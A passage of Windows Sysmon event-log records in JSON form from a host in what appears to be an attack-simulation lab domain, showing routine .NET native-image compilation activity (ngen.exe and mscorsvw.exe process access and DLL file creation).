C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b0-0\\System.Runtime.Serialization.Formatters.Soap.dll\r\nCreationUtcTime: 2020-08-07 12:03:12.244","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:12.244","ProcessGuid":"{90617006-42FF-5F2D-0000-0010151D0F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b0-0\\System.Runtime.Serialization.Formatters.Soap.dll","CreationUtcTime":"2020-08-07 12:03:12.244","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:12.307\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4300-5F2D-0000-001089200F00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:12.307","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4300-5F2D-0000-001089200F00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:12.307\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4300-5F2D-0000-001089200F00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:12.307","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4300-5F2D-0000-001089200F00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:12.307\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4300-5F2D-0000-001089200F00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:12.307","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4300-5F2D-0000-001089200F00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:12.401\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42DF-5F2D-0000-00109E0F0E00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:12.401","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42DF-5F2D-0000-00109E0F0E00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:12.401\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42DF-5F2D-0000-00109E0F0E00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:12.401","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42DF-5F2D-0000-00109E0F0E00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:12.418\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4300-5F2D-0000-0010B8230F00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:12.418","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4300-5F2D-0000-0010B8230F00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:12.995\r\nProcessGuid: {90617006-4300-5F2D-0000-0010B8230F00}\r\nProcessId: 3360\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d20-0\\System.Security.dll\r\nCreationUtcTime: 2020-08-07 12:03:12.995","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:12.995","ProcessGuid":"{90617006-4300-5F2D-0000-0010B8230F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d20-0\\System.Security.dll","CreationUtcTime":"2020-08-07 12:03:12.995","EventReceivedTime":"2020-08-07 12:03:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7834,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:13.041\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CE-5F2D-0000-001072CD0D00}\r\nTargetProcessId: 2284\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:13.041","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CE-5F2D-0000-001072CD0D00}","TargetProcessId":"2284","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:13","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7835,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process 